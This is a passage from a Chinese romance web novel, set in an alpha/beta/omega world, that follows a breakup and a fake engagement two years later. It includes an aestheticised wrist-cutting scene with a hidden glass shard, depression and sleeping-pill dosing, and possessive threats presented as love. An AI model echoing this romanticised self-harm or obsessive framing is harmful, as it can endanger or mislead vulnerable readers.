“千述千述她。”陆凌风沉默,不想问答这个问题,“她有事来不了,你先好好养病,病好了再说。” 陆恪心中的不安已经无法控制,他摇头,很执拗的:“千述呢?她为什么没来。” 陆凌风根本不知道要怎么回答这个问题。 他站起身,直接道:“没来就是没来,她有自己的事情,不想来看你。” “我不信。”陆恪的眼神一下子变得阴沉,他直接扯开输液的针,猩红的血沿着手滴落下来。 陆恪面色更白了,看着随时都会晕倒的样子:“我不信,我要去找她。” 医生护士看着这一幕,忙上前按住他,不让他动作。陆恪用力的挣扎,被单上都沾上了他的血。 “陆恪,我看你真是疯了!” 陆凌风在一旁简直气得心脏直跳,血压飙升,对自己儿子怒其不争。 “你为了一个女beta,为了一个心怀鬼胎的骗子,你寻死觅活,把自己弄成现在这个狼狈样子。你还要去找她,你去哪里找她,千述早就走了!” “你看看她还要你吗?你看看还能联系上她吗?她早就走了,你昏迷的时候她就已经走了!” 陆恪的脸一瞬间变得惨白,没有预兆的心痛,就像突然被利剑插入心脏。 “我不信。”陆恪缓缓摇头,他喃喃道,“我不信。” “千述不会这样对我!” 看见自己儿子这样,陆凌风心里也不好受。 他把陆恪的手机丢过去;“你自己看。” 陆恪颤抖的拿着手机,他打开微信,给千述打语音,红色的感叹号刺得他眼睛痛,千述把他删了。 “不可能,千述不会这样对我的。”陆恪声音抖得要命。 他给千述打电话,60秒的通话里,时间被拉得无限长,只有清脆的“嘟嘟”声。 “您拨打的电话暂时无人接听,请您稍后再拨。” 陆恪低着头,柔软的发耷拉在他的额头,遮住了半张脸,只剩下瘦削苍白的侧脸。 他一遍又一遍的拨打这个烂熟于心的电话号码,然后一遍又一遍的听着手机里传来的语音人声。 “您拨打的电话暂时无人接听,请稍后再拨。” 陆凌风走上前坐在床边,抚着他的肩膀,轻声安慰道:“陆恪,千述已经离开了。” “她知道跟你不合适,所以她选择不再纠缠你,你也要早点放下这段感情,开始自己新的生活。” 陆恪低着头,沉默,不发一言。 …… 陆恪看起来好像放下了,至少他不再像刚醒来时,那样情绪激烈。 但是陆凌风怕他又要强行离开,每日都派人守着他,房间里一刻也不能没了人。 陆凌风这段时间每天都守在医院,连工作都是让秘书送到医院来处理。但是,今天有个会议很重要,他不得不出席。 陆恪说他想喝水,看护将水倒在杯子里。本来是准备喂他的,但是陆恪说他要自己喝,看护只得将杯子给他。 可是陆恪手上没什么力气,杯子一下落在地上,碎裂开来。 陆恪抿着唇没讲话,看护忙去拿东西来清理玻璃残渣。 …… 陆恪割腕是护士先知道的。 他上午的时候支开了看护,用藏起来的玻璃碎片,割开了脉搏。 陆恪似乎感觉不到痛,平静的,甚至有些冷漠的看着鲜血从身体里流失,然后沿着手腕,掌心,指尖,最后滴落在地上,溅成一朵血花。 鲜血猩红,带着诡异的艳丽。 护士来查房的时候,看到陆恪垂在床沿的没有血色的手,脸色陡然一变,快步上前来。 陆恪已经因为失血过多变得嘴唇煞白,闭着双眼。再加上他本就腺体受损才动了手术,情况更加严重。 护士立刻给他止血,又按响床头的铃声,着急道:“快找1号病房的主治医生过来,快点!病人割腕了!” 陆凌风听到消息,火急火燎的赶到医院时,陆恪手腕上的伤已经被包扎住。他靠在床头,白着脸,低着头,病号服有些大,空空荡荡的套在他身上,可怜。 “陆恪你……你怎么这么糊涂啊。” 陆凌风气得手抖,又惊又怒。可陆恪如此虚弱模样,陆凌风又舍不得骂他。 陆恪抬眼,死死的盯着他,瞳孔幽深,带着病态般的偏执,让陆凌风心惊: “我知道你一定可以联系到千述。” 千述这两个字似乎有魔力,只是从陆恪嘴里说出,都让他忍不住红了眼眶。这是陆恪醒来的这段时间,第一次憋不住眼泪。 “我要她亲自跟我说。” “我要听千述亲自跟我说。” …… 陆恪的手术成功后,千述离开了医院。她在医院的厕所里,水龙头面前,不断的冲洗手上的鲜血。 镜子上映着女beta的脸,她的唇色很淡,几乎与肤色相融。脸上不知道什么时候,也沾上了血。 整个人看起来憔悴,疲惫。 千述扶着洗手台,头低垂着,长久的低垂着。 宛若一座沉默苍白的雕像。 一滴泪落了下来。 落在洗手台上,与其他水滴融合,转瞬即逝,就像什么也没发生。 千述离开了医院。 她回去换了干净衣服,洗漱一下就往法庭赶去,今天周一,跟贺诚军开庭。 庭上的事很难一一说清。 只不过当贺诚军看到千述时,立即火冒三丈,怒目而视。他猛的站起身,隔着原告与被告的距离,大骂千述是白眼狼。 “当初若不是我签字同意,收养了你,千述,你以为你能有今天的出息?你甚至是一个连姓都没有的孤儿!” “你现在反过来搞我?!白养了你这么多年,还不如养一条狗,狗都懂得知恩图报!早知你如此歹毒,就应该让你烂在福利院!” 贺诚军情绪激动,骂得脸红脖子粗。 千述只是很沉默的听着,没有任何反驳。她其实没什么力气跟贺诚军开启骂战。 她现在太累了。 “肃静!” 法官在上面制止贺诚军冲动的行为,语气严厉。 “法庭是庄严的场所,请被告人控制情绪,否则将以扰乱法庭秩序处理。” 庭审很顺利的结束了,因为千述这方证据链完整,证据充分。 最后贺诚军以职务侵占罪,并且多次侵占,从重处理,判处十年有期徒刑,并处罚金。 他失去了所有,过往的权势地位,已成泡影。 从法院出来的时候,天气仍旧特别差。乌云阴沉沉的压在天上,无端的让人觉得压抑,郁郁寡欢。 蒋屿很担心千述的情况,因为她现在看起来实在不太好。 “你昨晚……算了,直接送你回去休息。”蒋屿看向千述,他想问昨晚发生了什么,又没问。 千述坐在车上,沉默的看着窗外。蒋屿也没说话,抿着唇看向前方。 有太多的话,太多的问题憋在蒋屿心里。但是千述不想说,蒋屿就一句也没问。 半路车行驶在高架桥上,很神奇的是,天开始渐渐放晴了。 阳光很困难的穿过云层的缝隙,洒下一束束光辉。这光芒不是温柔的倾泻,而是带着某种近乎暴烈的穿透力。 金色的,神圣的阳光,洒落在城市。 千述呆愣的看着,许久。 “千述。”红灯的时候,车停了下来,蒋屿转头看她。 “嗯?”千述回过神来。 蒋屿勾唇一笑,弯着眼眸,很温和的笑:“千述,以后离开了A市也要常联系。” 千述怔了一下,点头道:“好。” 绿灯亮起,车辆又开始向前奔驰,向崭新的生活奔驰。 … … 手机里又响起了铃声,距离手术那晚,已经是第五天了。 整个世界都好像变了许多,焕然一新。今天A市天气特别好,阳光明媚,微风徐徐,绿意盎然。 陆恪听着耳边的铃声,心脏控制不住的开始缩紧。他垂着头,沉默的盯着被子的花纹。 良久,那边终于接了。 “喂?”是千述的声音,干净利落。 陆恪的呼吸一下子就变了,没说话,眼泪很容易就漫了上来,模糊了他的视线。 千述听到手机里有些沉重的呼吸声,反应过来。 她的行李箱已经办理了托运,过了安检,千述现在要去登机口等待,她是下午三点的飞机。 “是陆恪吗?”千述轻声问道,很温和。 陆恪的眼泪猛的滴落下来,砸在被子上。病房里的人都退了出去,只留下陆恪单薄的,靠在床上的身影。 阳光影影绰绰,落在他的身上。 无端的孤寂。 “千述,你在哪里?我想要见你。”陆恪哑声道,带着难以克制的哽咽。 千述沉默,她到了登机口,随便找了一个位置坐下,看着不远处的停机坪。 有飞机起飞了。 耳机里陆恪的哭腔越来越重,他絮絮叨叨的说着。 说他一醒来没看到千述很害怕。又说他伤口很痛,每天都睡不好。还说医院的人很坏,每天都监视他,不准他来找千述。 最后,陆恪声音颤抖,闷闷的:“千述,你带我一起走好不好。” 他听到了千述那边机场里的播报声。 千述不说话,陆恪心中的恐惧不断攀升,甚至到了有些呼吸困难的程度。 良久,千述开口了。 “陆恪,我们分手吧。” 手机里千述的声音听起来有些失真,但仍旧能听出属于千述的平静,冷淡的语调。 “我不。”声音几乎是从陆恪的嗓子里挤出来的,他摇头,眼泪大颗大颗的落,“千述,我不要。” “前往S市的KS853次航班现在开始登机……” “陆恪,我有点累了。” 千述起身,往登机口走去,那边已经有人在排队:“我想我可能喜欢过你,但是现在已经不喜欢了。” “我不信!”陆恪的声音陡然大了起来,绝望的,含着泪的,带着恨意的。 “我不信。” “千述,你这个骗子!你休想丢下我,我不会放过你的!千述,我绝不会放过你!” “你以为你走了就结束了?千述,不可能,我会来找你的!千述你一辈子也不可能甩开我!” 手机里传来alpha的声音,声嘶力竭,尾音却带着颤,带着难以言喻的恐慌和害怕。 千述将手中的登机牌交给工作人员,他们沿着虚线撕下,再递还给千述。 千述往里走去,她低着头,跟着人群走。 身边的人三三两两,结伴而行,谈话欢笑声不绝于耳。只有千述,形单影只,沉默的走在其中。 良久,千述叹了口气,低声道:“陆恪,你乖一点,别让我为难。” “别让我为难。” …… 飞机滑行的时候,耳边会产生嗡鸣声。 但是当机身不断攀升,穿过云层,恢复平稳的时候,窗外只剩下无边无际的蔚蓝。 第64章 第64章电话 两年后。 瑞士,苏黎世。 “我在中央火车站外面等你,就站在AlfredEscher雕像那里,你出来就能看到。” 冬天的苏黎世很冷,风也大,利马特河上面结了一层薄薄的冰。向曼青穿着羽绒服,戴着毛线帽,围巾,还是觉得冷,说句话都能哈出白气。 她的目光望着火车站来来往往的行人,直到看到那个白色拖着行李箱的身影,眼睛亮了起来。 “千述,这边!” 向曼青向千述猛挥手,但是千述没看见她。向曼青三两步走上前,冲过去抱住她,哈哈大笑。 “你怎么戴了眼镜都没看见我,是不是一年不见都不认识我了。”向曼青笑着抱怨道。 千述也抬手抱她,解释道:“怎么可能,下了车眼镜起雾了,擦眼镜来着,就没看到。” 千述近视度数不是特别深,200度左右,这两年长了一点。她平时不爱戴眼镜,但是出行还有工作的时候会戴着。 在火车上还没太大感觉,没想到下了火车苏黎世这么冷,给千述都冻懵了。 “天气预报说今天晚上苏黎世要下雪,所以今天降温了。慕尼黑不冷吗?”向曼青顺手接过千述行李箱上的手提袋,问道。 “到慕尼黑的时候正好出了几天太阳,还行吧,比这里暖和一点点。”千述回答,拉着行李箱跟着向曼青往前走。 去年春节,向曼青从瑞士回来,在S市的时候两人见过一面。到刚刚两人见面,正好快一年。 千述这次是去德国出差,正好慕尼黑离苏黎世不远。向曼青就说,让千述过来找她玩,然后两个人约着去格林德瓦滑雪。 向曼青租的单人公寓,房子虽然不大,但是租金是相当贵的。就这还是向曼青两年前刚到瑞士的时候,好不容易租到的。 “今天做中餐给你吃,食材我都买好了。” 到了公寓,千述把行李放好,去给向曼青打下手。 “你什么时候学会做饭了?”千述问道。 向曼青在做可乐鸡翅,一边倒可乐,一边说:“没办法,这是留学必备技能。啧,你不知道这里吃饭有多贵,还没我自己做的好吃。” 她也是被迫锻炼出来了。 晚饭做的番茄炒鸡蛋,可乐鸡翅,还有土豆洋葱炖牛肉,这已经是向曼青做的很丰盛的一顿了。平时她懒,有时候就吃白人饭糊弄糊弄。 两人好不容易坐在一起吃顿饭,向曼青还特有仪式感的开了瓶酒。 “你这次来欧洲出差多久?”吃饭的时候,向曼青问道。 “半个月吧,太久了也不行,公司那边顾不过来。”千述吃饭,她真有点饿了。 灯光下,千述的眉眼温和。她因为工作忙,头发剪短了一些,刚好到锁骨那里,被千述松松的扎了起来。 向曼青盯着千述看,良久,开口道:“千述,我觉得你变了很多。” “有吗?”千述闻言,抬头笑,“变沧桑了?” “不是。”向曼青摇头,她歪头,看着千述,打趣道,“你知道吗,以前刚上大学那会儿,我觉得你可能并不好相处。因为你的眉眼总是沉郁,像是压着事。” “现在倒是舒展很多,有点像” 向曼青看着千述盈盈笑眼,思考一番道:“有点像亭亭生长的树,变得枝繁叶茂。” 听到这个比喻,千述愣了一下,又笑开 从A市离开以后,千述的生活并没有变得很好。相反,她简直是焦头烂额,每天都特别忙,要处理的事情很多。 不得不说,贺诚军留给千述的是一个烂摊子,千言当时已经处在快要破产重整的边缘。那会儿股东们纷纷抛售股票,千述低价买到手,没想到后续会这么困难, 千述不是学管理出身的,她大学学的是工科。所以她在管理公司上面,完全是一个新手,很多方面都不太懂。 回到S市的时候,公司人都走得所剩无几了,产业发展停滞不前,可以说是重头再来。 那段时间,千述几乎整夜整夜的睡不好,加班熬夜,咖啡续命,每天眼 睛下面都挂着黑眼圈。 不过,再差也只能这么差了,千述也想不到还会有什么情况比当时还要糟糕。 她开始面试招人,重新规划公司未来的走向,重整公司业务,公司又开始慢慢起步。 千述没做过生意,刚开始她比较呆,说严谨一点,就是遵守规则,不懂变通。她不知道生意场上的事情,其实也是人情往来。 并不是说你东西好,人家就一定要跟你千述合作。 一开始千述吃了些亏,后来亏吃的多了,也琢磨出了一些道理,就很少再这么被动。 虽然现在公司也没达到千朝当时的规模,但比千述刚开始接手的时候好了太多太多。 所幸千述还年轻,是冉冉升起的朝阳 她们是第三天去格林德瓦,明天向曼青还要去上课,并且邀请千述去她的大学参观。 现在是1月份,加上实习,论文,向曼青要今年8月才能拿到学位证。这边读研,真的是卷生卷死,向曼青已经是属于很自律,很优秀的学生了,但在瑞士读研还是觉得压力很大。 “明天有一场公开的演讲你去不去,这次来的是慕尼黑工业大学的DavidGasser教授,他是前两年物理诺奖得主。” “去啊,正好见识一下。”千述也很感兴趣,点头道。 现在的千言集团,已经不仅仅做车灯上的业务,千述把一部分重心放在了人工智能上。当时在学校参加科创大赛时,接触了很多这方面的知识,觉得很有市场。 第二天早上的时候苏黎世的风雪停了,下了一整晚的雪,屋顶上到处都是白茫茫的,阴天。 千述还在睡的时候,向曼青已经醒了,她要去上课,就醒的早一些。 “桌上有烤吐司和酸奶酱,冰箱里还有两根香蕉,你就凑合吃吧,中午带你去学校食堂吃饭。”向曼青走的时候对着床上睡眼惺忪的千述说。 “好,拜拜。”千述打个哈欠,头发乱糟糟的,闭着眼脸埋在枕头上。 关门的声音响起,向曼青背着书包出门了。 千述是在半个多小时以后才悠悠转醒,她不太想起床,外面太冷了。千述拥着被子,打开手机,处理一下工作消息,然后刷国内的社交平台。 苏黎世的早上九点,是A市的下午四点。 A市的天气好,尽管也在冬天,但是个大晴天。 千述离开A市的两年,她很守承诺的没有再回去过,但是她手机中关于A市的天气预报,一直没有删。 她也没管,留着就留着。 其实这两年,千述很少想起陆恪。她实在太忙,要做的事情很多,她必须不断的向前走。过往种种只能被抛在身后。 只是偶尔,千述能够从网络上,看到一星半点关于陆恪的消息。 比如说大半年前,陆凌风工作中脑梗发作,被送进医院,情况很不乐观。当时陆氏集团的股票猛跌,外界都怕陆氏群龙无首。 这个时候陆恪上来了,这是他第一次正式的面向大众,以陆氏接班人的一个身份。 在这样的情况,陆恪算是临危受命,压力不可谓不大。外界对他也不太看好,媒体挖出了他以前读书的时候,很多的黑料,铺天盖地。 网上都笑,不学无术的大少爷也能执掌陆氏这艘大船? 这可不是过家家。 尽管外界质疑声不断,但是陆恪仍旧开始管理公司的各种业务,时谨在旁边辅佐他。 千述不清楚那段时间陆恪的压力有多大,过得有多难熬。 只是在有一次,她在公司加班到凌晨的时候,接到了一通来自A市的电话,很陌生的电话号码。 那天晚上实在太晚了,公司里只有千述的办公室还亮着灯。周围寂静无声,所以电话里的呼吸声格外明显。 对面没有说话,千述也没有说话。 两分钟后,那边的电话挂断了 千述的思绪从过往抽离,她有点烦闷的揉了揉头发,也不想睡觉了,干脆直接起床洗漱,吃早餐。 现在离中午还太早,千述收拾了一下,裹着羽绒服出门了,逛一逛。 苏黎世不是一个很大的城市,景点也比较集中,其实没有什么好玩的。如果天气好,还能citywalk一下。但是天气太冷了,千述一出门就后悔了。 但是中国人有一个习惯,那就是来都来了。 千述也想着,反正都来了,打卡一下景点。千述去了圣母大教堂,外面的风太大了,吹得千述头疼。 教堂里面没风,要好很多。教堂里的彩绘玻璃,色彩大胆瑰丽,吸人眼球。 很多人都在拿手机拍照,千述也象征性的拍了很多张。 时间差不多了,千述就准备撤了,她还要跟向曼青一起去吃饭。千述将手机揣进包里,准备去学校。 “你好,请问能麻烦你帮忙拍张照吗?” 没走两步,身边有人拍了拍她的肩膀,千述转过身去。 是一个男人,高且瘦,长相也十分端正,很亚洲的长相,说的英语。 千述点头道:“ok。” 她接过对方的手机,问道:“你想怎么拍?” 男人似乎有些不自然,道:“随便拍一张就好。” 他站在教堂中间,很温和的看着镜头,头顶是瑰丽的玻璃彩画。 千述点头,没说什么,待对方站好就迅速按下快门:“可以了。” “好,谢谢。”对方接过手机,给她道谢。 “没事。”千述摆摆手走了 本以为是很普通的相遇,没想到在大学门口,他们又碰见了。 男人跟千述打招呼,千述礼貌点头。 “你是这里的学生?”两人并肩走在校园里,男人问道。 千述摇头,道:“不是,我是来参观的。” “你呢?”千述礼尚往来的问道。 男人微笑道:“我也不是,我是来工作的。” “哦。”千述点头,对别人的事情不是特别感兴趣。 “冒昧问一下,你是中国人吗?”男人转头看向千述,问道。 “嗯。我是S市人。”千述回答。 “那还真是巧,我也是S市人。我妹妹在S大读书,现在读大三。”或许是老乡见老乡,男人的话多了起来。 S大是S市最好的大学,在全国能排前几。 “那你妹妹挺厉害的。”千述迎合道。 “我妹妹是alpha,成绩比我还好,本来可以考更好,读A大的,但是高考的时候出了点意外。”男人说起这个就面色落了下来,垂着眼。 “是有点可惜,不过她现在备考,还能上A大的研究生。”千述道。 “她不准备在国内读研,她说要来德国读研究生。”男人道。 千述点头,道:“那也不错。” 千述其实没有太多心情听他讲他的妹妹了。因为她不仅对他不感兴趣,对他妹妹也不感兴趣。 向曼青在不远处向她招手,千述转头对男人道:“我朋友在那边等我了,再见。” “好的,再见。”男人平和道 “那人谁啊?不是吧,你才来第一天,就有追求者了?”向曼青揶揄道。 “不是,就是路上碰到的,也是中国人,帮忙拍了张照。”千述摊手道。 况且,他俩真没聊什么。那男人三句不离他的alpha妹妹。 “好吧。”向曼青作罢。 “不过千述,你这两年都没谈恋爱吗?”向曼青好奇,轻轻撞了一下千述的肩膀。 她们寝室都知道千述和陆恪分手了,谢宁还说给千述介绍对象来着,千述都拒绝了。 “没有。”千述摇头,道,“太忙了,实在没空,难道跟工作谈吗?” 向曼青笑她是苦行僧。 她们吃了饭,就去大讲堂找位置。DavidGasser教授因为获得诺奖,地位也是水涨船高,一般他的讲座都是座无虚席,很多人都是慕名去听的。 等千述他们到的时候,里面已经坐了不少人了。千述和向曼青找了个位置坐下,过了十多分钟DavidGasser教授就来了和他一起来的,还有他手下两个博士。 其中一个高且瘦,亚洲面孔。 身边有人讨论他,问他是谁。旁边有人回答:“他叫何延齐,是慕尼黑工业大学的博士,beta,好像今年毕业。” “他特别厉害,听说DavidGasser教授邀请他在德国深造,但是他拒绝了,似乎是准备回国发展。” “那好可惜啊。” “是的,不清楚他怎么想的。” 千述看到台上整理话 筒的人,笑了。 什么成绩没有妹妹好,谦虚。 第65章 第65章你要跟我订婚? A市,金融科技峰会。 巨大的蓝色LED屏幕上,滚动播放着最新的科技技术。主会场上坐着西装革履的投资人,企业家,商界精英,而他们的目光无一不看向台上那位真正优秀的天之骄子。 台上的alpha身高腿长,比例极佳。他面容沉稳,冷静,有条不紊的演讲着。 他的眉眼还是那样锐利,但是又多了一层从容不迫,让alpha的气质不再张扬外放,变得低调内敛。 台上的人话音落下,台下立刻响起雷鸣般的掌声,此起彼伏。 陆恪微微鞠躬,下了台,走到专属于自己的位置,坐下。 这场金融科技峰会一年举行一次,会议规格很高,要举行三天,今天是最后一天。作为陆氏集团的发言人,这场会议由陆恪出席。 为期三天的峰会结束,主会场还有不少人三三两两的聚在一起,讨论着商业上的事情。媒体一直在场外守着,对主会场出来的企业家进行采访。 “我最近看中了一家小公司准备投资,只是还没谈拢。”有几个人凑在一起,分享着最近的消息。 “还有你赵总谈不拢的投资?”有人恭维他,又问,“他们是做什么的?” : “千言集团,不知道你们听过没,S市的公司。”这位叫赵兴的投资人说着,“我倒是看中了他们去年筹备的一个项目,这么小的一个公司,居然里面卧虎藏龙。” “团队的leader是位去年归国的博士,研究机器视觉,这位可是厉害的很。”赵兴说得也是心花怒放。 “那得把握住啊!”一旁的人附和道。 “你以为我不想把握住吗,”赵兴叹气,“我跟他们老板谈,是个女beta,滑头的很,半点亏也不肯吃。我说投资两个亿,都没戏。” “一个小公司给两个亿,赵总太大气了吧,这么多也不肯?”有人不信。 “不肯,”赵兴摇头道,“我要他们30%的股份,那老板不肯,只能给10%,现在都还在拉扯。” 几人高声谈论着,站在一侧的出口处。身后有人过来,几人转头看过去,噤声。 看到来人,赵兴忙上前跟alpha握手:“原来是小陆总,久仰大名,久仰大名。这次听您一番演讲,真是启发良多。” 生意场上,谈资论辈看的可不是年龄,而是实力。 陆恪自从进了公司以后,开始逐渐显露出他的敏锐的商业嗅觉,以及果断的决策力。 陆凌风因为手术,修养生息半年。那段时间陆恪带领着公司,不仅稳住了股市,还在那两个季度上获得很漂亮的财务数据。 后来陆凌风恢复以后,陆凌风就把企业最重要的一个版块交给陆恪管理,直到现在。 哪怕陆恪比在场的几位老总小了快两轮,但是这些人看到陆恪,仍要上前去跟他主动握手。 陆恪礼貌的握了握这位赵总的手,客气道:“不知各位在讲什么,有幸一听吗?” 众人觉得惊讶,不知陆恪为何会对这种小投资感兴趣。 “那是当然!”赵兴很乐意卖陆恪一个人情,“就是最近谈的投资。” 赵兴又把刚才的话原封不动的讲给陆恪听,甚至更加详细。最后他说;“这位老板年纪跟小陆总差不多大。” 陆恪垂着眼眸,敛着睫毛,看不清他眼底的情绪。他淡淡道:“是吗?” “是啊。”赵兴笑道,他又想起什么,道:“这位老板也是A大毕业的高材生,跟小陆总是校友,搞不好小陆总也认识。” “哦,对了,她叫千述。” 车辆行驶在路上,窗外的景色快速的滑过。陆恪闭着双眼,眉心微蹙,再没有了与别人谈笑风生的从容。 “去医院。”陆恪坐在后座,突然道。 “是。”司机回答,随后改变了导航的目的地。 医院是陆恪特别讨厌的一个地方,甚至到了厌恶的程度。他几乎所有的不幸,都是在医院里发生。 包括被千述抛弃。 但是他又不得不去医院,因为他生病了。 “看你做的检测报告,吃了安眠药睡眠状况还是很糟糕,经常睡梦中惊醒。”,医生低头看着手里的报告,又问,“最近还有自残的倾向吗?” 精神科,alpha坐在医生对面,面色平静,甚至看着有些冷漠。 “少了一些。”陆恪简短回答。 陆恪得了抑郁症,甚至到了自残的地步,最开始是没人知道的。 千述离开以后,陆恪住了很久的院。 他本就动了手术,再加上又割腕,实在是元气大伤。不仅是陆凌风不让他出院,连医生都建议他在医院多住一段时间。 陆恪那段时间浑浑噩噩的,经常莫名其妙的泪流满面,一下子瘦了很多。 方知明从日本回来,才知道陆恪住院了,急匆匆来医院看他。方知明心里也酸的很,不知道要怎么劝陆恪。 他坐在床边,看着呆愣愣的靠在床上,苍白的人:“陆哥你唉” 多的话方知明也说不来,他看着好兄弟这个样子,心里不由的开始埋怨那个冷漠无情的女beta。 方知明觉得自己当初真是看走眼了,怎么会觉得千述这个人靠谱。 她根本没有心。 方知明心里这样想的,也这样说了出来。 “早知道千述是这样的人,当初我绝不会撮合你和她在一起的!”方知明怒声道。 他站在病房里,走来走去,也无法发泄心中怒气。 “陆哥,千述这种人不值得!她根本不值得你喜欢,你想要什么样的人没有,omega,beta,甚至勾勾手,alpha都能跟着你!这么多人,哪个不比她千述厉害?!” “她千述就算个屁,离开你是她的损失!她以后就算是打着灯笼,上天入地,都不可能再找到像你这么好的人了,千述绝对会后悔的!” “陆哥,咱们就把她忘了,忘了吧。”方知明又坐在床边,环住陆恪的肩膀,低声劝道。 方知明义愤填膺的说了这么多,陆恪始终没有抬起头。 他低着头,垂着眼,沉默着,像一株枯萎的,失去生机的植物。 方知明在旁边一筹莫展,好话歹话他都说尽了。 病房里的气氛变得凝滞寂静,让人的心脏不住的往下坠,坠到谷底。 “我想去找她。” “什么?”方知明没听清。 病房里陆恪的声音很轻,轻得方知明以为自己听错了。 “我想去找她,我要去找她。”陆恪突然抬起头来,看着方知明,他的眼神从麻木,逐渐到有了光彩。 这个时候,已经距离千述离开半个月了。 “我可以去S市找她,只要千述看到我,她只要看到我,肯定就不会再忍心丢下我了!” “对,对,”陆恪翻来覆去的说着,有点神经质,“只要我去找 她,只要我站在千述的面前,我求求她,她肯定会心软,就不会丢下我了。” 他抓住方知明的手,就像握住一根救命稻草,力道很大,让方知明都觉得隐隐作痛。 “陆哥”方知明有些不知道要怎么说。 “方知明,你帮帮我,把监视我的人支开。”陆凌风害怕陆恪又做傻事,一直都有人守着他。 这是陆恪第一次求方知明,陆恪从来都是骄傲的,生活中也没什么事可以让他弯腰求人。 方知明看着陆恪,他的脸苍白,但眼眶却那么红。这样脆弱的样子,太陌生了,已经完全不像方知明曾经认识的那个敢冲上去给人脑袋开瓢的陆恪了。 “好!”方知明心一横,答应了。 在方知明的帮助下,陆恪逃出了医院,他们买了最近的去S市的机票。 当天下午,他们就到了S市。 S市的天气很好,天际线开始慢慢变得模糊,落日余晖,落在车水马龙的城市里,镀上一层落寞的金色。 陆恪站在机场出口,方知明陪在他的旁边,人来人往,熙熙攘攘,陆恪全然没有察觉。 他拨打着那个烂熟于心的号码,输入号码的手指甚至都带着细密的颤抖。 良久。 “对不起,您拨打的电话号码是空号。” “陆哥”方知明看见陆恪瞬间惨白的脸,有些无措。 陆恪没说话,他低着头,重新输入,手抖得好几次都按错。他又把手机放在耳边,还是同样的语音人声,没有任何情感的。 “对不起,您拨打的电话号码是空号。” 眼泪突然砸在手机屏幕上,陆恪冷漠的擦掉屏幕上的水渍,但是怎么擦也擦不干净。陆恪又面无表情的抹了把脸上的泪,仍旧不断的重新输入,带着偏执。 可是怎么也打不通。 方知明在旁边看不过去了,拉住陆恪的手,心疼劝道:“陆哥,算了,你打不通的。” “千述已经把电话号码注销了。” 陆恪突然崩溃的抬手捂住自己的眼。 那天的夕阳没有任何温度,照在人身上冷冰冰的。余晖把陆恪的影子拉得很长,孤寂,悲伤 陆恪出了医院,手里拿了一点药,但是要比以前的药少很多。 他是最近失眠太严重了,有时候睁眼到天亮,这次来是让医生给他加大剂量的。 但是医生摇头说:“你之前吃的已经是这个药的最大剂量了。甚至,你应该适当的减少,不能一直依赖大剂量的安眠药。” “给你新换了一款药,吃吃看,或许有效果。” 出门的时候,医生看着alpha挺拔的背影,还是多了一句嘴:“依你的情况,吃药没用,解决心病才能彻底根治。” 陆恪脚步顿了一下,没说什么,出门了。 ———————————— “你说要跟我订婚?” S市,千述才下班回家,她躺在沙发上,就接到了何延齐的视频,蹭的一下坐直。 “没开玩笑吧,在你妹面前装男女朋友还不够吗?都要到订婚的地步才能骗过她?”千述头疼道。 千述和何延齐的关系,要说到去年1月份的时候,那个时候在苏黎世。 原本千述对于这位男beta是不感兴趣的,直到那场演讲以后,千述去搜了一下何延齐的事迹。 本科A大电子信息专业,硕博慕尼黑工业大学机器视觉专业,简直为千述的项目量身定做的,而且正好要毕业回国。 后来千述通过邮箱跟对方取得联系,自报家门,并且天花乱坠的吹嘘自己的项目,多少项目资金,团队多少人,多精尖的设备。 反正有没有,千述都说有。她现在已经练成了见人说人话,见鬼说鬼话,撒谎也脸不红心不跳的程度。 并且千述还承诺,如果他能来,就算他技术入股,给何延齐20%的股份。 何延齐那边只客气说考虑一下,后面就再也没发过邮件过来。 千述知道应该没戏,但还是又争取了两次,希望何延齐可以考虑考虑,加入这个项目,何延齐都没回复。 后来在有一天,千述突然收到了何延齐的邮件。 他说,他可以加入千述的项目,但是他要和千述以男女朋友相称。不过他也向千述解释了,不是真的男女朋友,只是在家人面前装装样子,不会有任何的亲密举动。 最后他在邮件附上微信,说如果千述同意,就添加他的私人联系方式。 千述当然满口答应。 笑话,这都不答应?!别说当女朋友,让千述去给何延齐当孙女都行 “你答应吗?只是订个婚,不用真的结。但是这段时间可能需要你应付一下我的父母,还有她。” 何延齐只开了一个小灯,他缩在黑暗里。但千述仍旧能看清他的唇又红又肿,脖子上还有红痕,只是脸色白的很,有些惊慌失措。 “啧,你这个妹妹怎么这么难缠,你也太纵容她了。”千述吐槽一句。 那个女alpha,今年刚上研究生,年纪比千述都还小几岁,更不要说跟何延齐的年龄差。小alpha性格阴郁,跟千述第一次见面的时候,就直勾勾的盯着她,带着敌意。 “她只是年纪小,有点固执。”何延齐在那边为妹妹解释道。 千述听都懒得听,都被欺负成这样了,还为他妹说话。 千述没答应,当男女朋友还可以分手,那都玩玩无所谓。但是订婚了可不一样,那关系就有点正式了。千述觉得有点亏。 “我可以把我硕士的师弟介绍过来,他也学的这个专业,对这个项目感兴趣。”何延齐在电话那边道。 千述眼睛一亮,猛地看向何延齐:“当真?” “嗯。”何延齐点头道,“只要你肯帮我。” 千述话锋一转,立刻同意:“我怎么会不帮你呢?我们是朋友啊,订个婚多大事儿!” 她试探问道:“订婚戒指不用我买吧?” “不用,我自己买。”何延齐道。 “那就好。”千述笑开,“那你选个时间吧,势必让你满意。” 这次订婚有些仓促简略,但是为了真实性,千述甚至请了罗玉兰谢宁她们来,还有公司的同事。 千述的交际圈就只剩下这些了。 该说不说,千述穿着订婚的白色礼服和何延齐站在一起的时候,两个人是极般配的。 两个人都是beta,看起来都是很温和淡然的人,携手站在草坪上,鲜花拥簇在他们身边,当真有几分步入婚礼殿堂的感觉。 谢宁站在一旁感叹:“这也太般配了,要是真的,也挺幸福的。” “是啊,看着真跟要结婚了一样。”罗玉兰也煞有其事的点头,非常认同,“搞不好千述是我们当中最早结婚的。” “别说了,快给千述拍照,她今天的妆可是花钱请人画的,别浪费了。”向曼青在一旁猛拍照。 三个人各种角度的给千述拍,势必要把这个妆拍回本。 谢宁还给千述修了几张美图,发在社交网络上,配上温情bgm。不过她很注意的没有露出何延齐的脸,只露出一个高瘦的背影。 不少人给她点赞,问是谢宁是要结婚了吗,恭喜恭喜。只是为啥这人长得不像谢宁。 谢宁回复:“这我室友。” A市,房间里没开灯,黑暗里的人死死的盯着这组照片。 第66章 第66章总不能破坏别人的家庭…… “这次的主要目标是云起科技的CEO,就是那边拿着酒杯的矮个子的alpha。云起也在研发智能,不过效果不佳,一直在找人合作。我们要把握住。” 商贸会上,千述跟身边的何延齐站在一起,低声说着。 何延齐顺着千述的目光看过去,点了点头:“好。” 